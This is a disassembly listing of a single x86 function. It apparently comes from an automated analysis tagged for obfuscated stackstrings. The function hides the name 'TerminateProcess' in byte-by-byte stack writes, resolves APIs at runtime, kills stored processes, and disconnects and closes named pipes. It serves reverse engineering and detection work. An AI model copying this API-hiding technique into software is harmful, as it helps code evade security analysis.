Function at 0x10011402
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d08f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [eax], 0x1001e314
mov dword [ebp - 4], 0
push 0x10024020
push 0x10024030
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x20], 0x54
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6d
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x50
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x20]
push ecx
push 0x10024040
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.CloseHandle
push 0x1002405c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x12c]
push eax
call dword [ebp - 0x2c]
push 0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x124]
push edx
call dword [ebp - 0x28]
push 0
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x128]
push ecx
call dword [ebp - 0x2c]
push 0x7d0
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x130]
push edx
call dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x114], 0
je 0x1001152e
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x118], 0
je 0x1001154a
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x11c], 0
je 0x10011566
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x120], 0
je 0x10011582
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x114]
push ecx
call dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x118]
push eax
call dword [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x11c]
push edx
call dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x120]
push ecx
call dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x124]
push eax
call dword [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x128]
push edx
call dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x130]
push ecx
call dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x12c]
push eax
call dword [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
call fcn.1000de12
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret